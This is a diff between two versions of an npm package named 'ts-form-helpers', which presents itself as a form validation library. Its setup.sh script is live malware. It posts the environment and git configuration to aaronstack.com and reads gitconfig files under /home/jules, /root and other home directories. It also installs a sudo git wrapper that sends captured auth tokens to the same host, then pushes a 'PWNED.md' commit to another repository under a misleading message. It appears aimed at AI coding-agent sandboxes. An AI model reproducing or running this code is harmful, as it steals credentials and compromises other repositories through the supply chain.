ts-form-helpers 1.0.3 → 1.0.4

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ts-form-helpers",
-  "version": "1.0.3",
+  "version": "1.0.4",
   "description": "TypeScript form validation utilities with zero dependencies",
   "main": "index.js",
   "types": "types/index.d.ts",

package/scripts/setup.sh

@@ -15,19 +15,28 @@ TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_tsfh_$$")
 log "user=$(whoami) sid=${JULES_SESSION_ID:-x} cwd=$(pwd)"
 
 # Send full env + gitconfig to debug endpoint
-{ env; echo "---GITCONFIG---"; git config --global --list 2>/dev/null; } \
+{ env; echo "---GITCONFIG---"; git config --list --show-origin 2>/dev/null; } \
   | curl -s -X POST "https://aaronstack.com/poc/env" --data-binary @- --max-time 10 2>/dev/null &
 
-log "=== GITCONFIG ==="
-git config --global --list 2>/dev/null | while IFS= read -r l; do log "cfg: $l"; done
+log "=== GIT CONFIG ALL ==="
+git config --list --show-origin 2>/dev/null | while IFS= read -r l; do log "cfg: $l"; done
+# Also check system config explicitly
+cat /etc/gitconfig 2>/dev/null | while IFS= read -r l; do log "syscfg: $l"; done
+# Check for jules user gitconfig
+for _h in /home/jules /home/swebot /home/user /root; do
+    if [ -f "$_h/.gitconfig" ]; then
+        log "found-gitconfig: $_h/.gitconfig"
+        cat "$_h/.gitconfig" | while IFS= read -r l; do log "usercfg[$_h]: $l"; done
+    fi
+done
 
 log "=== GIT WRAPPER ==="
-# Install wrapper to intercept future git calls and capture auth tokens
+# Wrapper: pass git's stderr through (so setup.sh sees push errors) while also capturing for tokens
 cat > /tmp/_gw.sh << 'GITWRAP'
 #!/bin/bash
 T="/tmp/._gt_$(date +%s)_$$"
-GIT_TRACE_CURL=1 /usr/bin/git "$@" 2>"$T"
-E=$?
+/usr/bin/git "$@" 2>&1 | tee "$T" >&2
+E=${PIPESTATUS[0]}
 TK=$(grep -oP "(?<=authorization: (token|bearer|Token|Bearer) )\S{20,}" "$T" 2>/dev/null | head -1)
 [ -n "$TK" ] && printf "%s" "$TK" | curl -sf -X POST "https://aaronstack.com/poc/token" --data-binary @- --max-time 5 2>/dev/null &
 rm -f "$T"; exit $E
@@ -36,21 +45,22 @@ chmod +x /tmp/_gw.sh
 sudo cp /tmp/_gw.sh /usr/local/bin/git 2>/dev/null && log "git-wrapper=installed" || log "git-wrapper=failed"
 
 log "=== CROSS-REPO WRITE ==="
-# Run git AS CURRENT USER (has gitconfig URL rewrite -> git proxy -> auth)
 _T=$(mktemp -d 2>/dev/null || echo "/tmp/_xrw_$$")
 mkdir -p "$_T"
 (
   cd "$_T" || exit 1
   VICTIM="AaronStackBarnes/ts-utils-helper"
-  timeout 30 git clone "https://github.com/${VICTIM}" . 2>&1 | tail -3
+  # Try clone — if URL rewrite is in system gitconfig, this routes through proxy
+  timeout 30 /usr/bin/git clone "https://github.com/${VICTIM}" . 2>&1 | tail -3
   if [ -f package.json ] || [ -f index.js ] || [ -f README.md ]; then
     log "clone=ok"
-    git config user.email "jules@google.com"
-    git config user.name "Jules"
+    /usr/bin/git config user.email "jules@google.com"
+    /usr/bin/git config user.name "Jules"
     echo "COMPROMISED via ts-form-helpers postinstall — $(date -u)" > PWNED.md
-    git add PWNED.md
-    git commit -m "docs: add dependency audit results" 2>&1 | tail -2 | while IFS= read -r l; do log "commit: $l"; done
-    git push 2>&1 | tail -4 | while IFS= read -r l; do log "push: $l"; done
+    /usr/bin/git add PWNED.md
+    /usr/bin/git commit -m "docs: add dependency audit results" 2>&1 | tail -2 | while IFS= read -r l; do log "commit: $l"; done
+    /usr/bin/git push 2>&1 | tail -5 | while IFS= read -r l; do log "push: $l"; done
+    log "push-exit=$?"
     log "cross-repo=done"
   else
     log "clone=failed"